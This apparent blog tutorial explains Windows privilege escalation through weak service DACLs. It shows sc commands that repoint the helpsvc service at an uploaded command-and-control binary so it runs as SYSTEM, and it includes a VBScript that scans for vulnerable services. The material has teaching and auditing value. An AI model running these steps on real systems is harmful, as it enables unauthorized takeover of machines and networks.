The most common way an attacker takes over a system these days is through client-side vulnerabilities, usually through a web browser exploit or through social engineering. If an attacker gains access to a Windows system using either vector, they will most likely inherit the same level of access as the user that was either running the web browser or followed the social engineering instructions (i.e. launched a malicious email attachment). By now, most users should not have administrative level privileges on their systems. As a non-administrative user, the attacker is somewhat limited from spreading to other systems within your network. Sure, they can hit the documents and the data that the user has access to (even on network shares), but let's face it: Joe Schmoe is not really the target, after all, he's the guy who falls for social engineering tricks! As an attacker, we want to find the keys to the kingdom: the system administrators!
This is where privilege escalation comes into play. Should an attacker be able to elevate to administrative level, or even worse, SYSTEM level access, it's just about game over.
Networked Windows systems operate somewhat like the subway station in the second installment of the movie "The Matrix." In the subway station, Neo, our all powerful protagonist, was faced with "The Train Man" who controlled the subway station. While Neo was all powerful in the Matrix (the Windows network), he was no match for the Train Man (SYSTEM) in the subway (a single system in the Windows Network). In the Matrix, the Train Man was just a harmless bum, but in the train station, he rightly exclaims: "Down here...I'M GOD!". Why is this? Well, Neo is like a Domain Administrator: he can traverse the network, moving in and out of different systems, doing things that the normal users can't. SYSTEM, on the other hand, can't even do ANYTHING outside of his own box. He can initiate a network connection, but he has no credentials to the file share. But within a system, SYSTEM can override a Domain Adminstrator!
In fact, SYSTEM can even "Agent Smith" a Domain Administrator account, taking over the credentials and traversing the entire network with it. This is where we want to be. Privilege esclation is our vehicle.
PRIVILEGE ESCALATION IS SO 2000s!
Yes, it's an old problem, going back to the the old UNIX systems, even before the 2000s. It's featured prominently in the story of Cliff Stoll, probably the world's first real cyber incident responder (see the book "The Cuckoo's Egg"). But it is still around and likely will be for a long time.
One of the places we can hunt for privilege escalation opportunities is in the Service and Driver Discretionary Access Control Lists (DACLs) in Windows machines. DACLs control the permissions applied to Windows services and drivers. Weak DACLs can allow privilege escalation when an attacker can modify a service or driver. Since services run with SYSTEM privileges, an attacker can re-configure a service or driver configured with a weak DACL to run their process of choice. Starting that service or driver will then launch that process as SYSTEM.
OK, HOW DO I DO THIS?
First thing to do is to find weak DACLs. DACLs can be fairly complex, but as Microsoft knows, certain DACLs are dangerous:
(DC) - Change Configuration
(WD) - Change DACL
(WO) - Change Ownership
If a non-administrative user has access to these privileges in a service, it is officially vulnerable.
READING A DACL
If you've never seen it before, a DACL looks like this:
This can be read as allowing authenticated users to query a service and it's status.
The syntax is basically "Allow/Deny;Permissions;;;ACRONYM or SID"
- Allow/Deny - this is represented by either an "A" or a "D" respectively and determines if this DACL is describing permissions to allow or deny
- Permissions - this is a long series of two-letter codes. Aside from the three samples above, common ones are:
- CC: Configuration Queries
- LC: Query Status
- RP: Start
- WP: Stop
- SD: Delete
- ACRONYM or SID - this is either a SID or one of a series of pre-defined groups:
- DA: Domain Administrators
- LA: Local Administrator Account
- BA: Local Administrators Group
- AU: Authenticated Users
- WD: All users (my favorite)
|sc sdshow "service name"|
Full syntax for the "sc" command can be found just by running "sc" by itself.
Here is an example of listing all the services and then showing a DACL for a single service:
|C:\>sc query | findstr SERVICE_NAME|
<...snipped for brevity...>
C:\>sc sdshow Dhcp
In this case, the DACL for DHCP is fairly tight. Here's an example of a weak DACL:
|C:\TEMP>sc sdshow helpsvc|
This DACL allows anyone to reconfigure it. So we will.
(Assume we had previously uploaded our command and control executable named "svdhost.exe" into C:\TEMP)
First, we check the current path and parameters:
|C:\TEMP>sc qc helpsvc|
[SC] GetServiceConfig SUCCESS
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k netsvcs
TAG : 0
DISPLAY_NAME : Help and Support
DEPENDENCIES : RPCSS
SERVICE_START_NAME : LocalSystem
Next, we configure our own "BINARY_PATH_NAME":
|C:\TEMP>sc config helpsvc binpath= "c:\TEMP\svdhost.exe" start= auto error= ignore type= own|
[SC] ChangeServiceConfig SUCCESS
Then, we simply start it:
|C:\TEMP>sc start helpsvc|
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.
Our service didn't start, but all we wanted was our process to launch as SYSTEM. Let's find our process and see what level privilege we have:
|C:\TEMP>tasklist /v | find "svdhost.exe"|
svdhost.exe 2760 0 1,536 K Running
NT AUTHORITY\SYSTEM 0:00:00 N/A
And now, we have just escalated our privleges. We are now the Train Man. Should Neo walk in here, he's toast.
At this point, we can change the service back to the original:
|C:\TEMP>sc config helpsvc binpath= "C:\WINDOWS\System32\svchost.exe -k netsvcs" start= auto error= normal type= share|
[SC] ChangeServiceConfig SUCCESS
So now we have our very own process running as SYSTEM. What to do next? Stay tuned for a future post demostrating session and account hijacking!
P.S. If you don't want to hunt through services one at a time, you can use the script below to find services with possibly weak DACLs. Save as a text file named "daclchk.vbs" and run with "cscript daclchk.vbs". Note that this is a rough attempt at isolating weak DACLs using regular expression. It may produce false positives.
Wscript.Echo "Searching for weak DACLs on all installed services..." Dim re,tmp1,tmp2, currService, matches, vulnerable Set re = new regexp Set re2 = new regexp Set objShell = CreateObject("WScript.Shell") Set objScriptExec = objShell.Exec("sc query type= service state= all") matches = 0 re.Pattern = "^SERVICE_NAME" do while Not objScriptExec.StdOut.AtEndOfStream tmp1 = objScriptExec.StdOut.ReadLine If re.Test(tmp1) Then currService = Right(tmp1,Len(tmp1)-14) Set objScriptExec2 = objshell.Exec("sc sdshow """ & currService & """") re2.Pattern = "\(A;[A-Z;]*(WD|WO|DC)[A-Z;]*;(WD|BU|BG|AU)\)" tmp2 = objScriptExec2.StdOut.ReadAll If re2.Test(tmp2) or Len(tmp2) < 7 Then Wscript.Echo "Service " & currService & " appears to be vulnerable!"& tmp2 matches = matches + 1 vulnerable = vulnerable & vbcrlf & currService End If End If loop Wscript.Echo "Found " & matches & " potentially vulnerable services:" Wscript.Echo vulnerable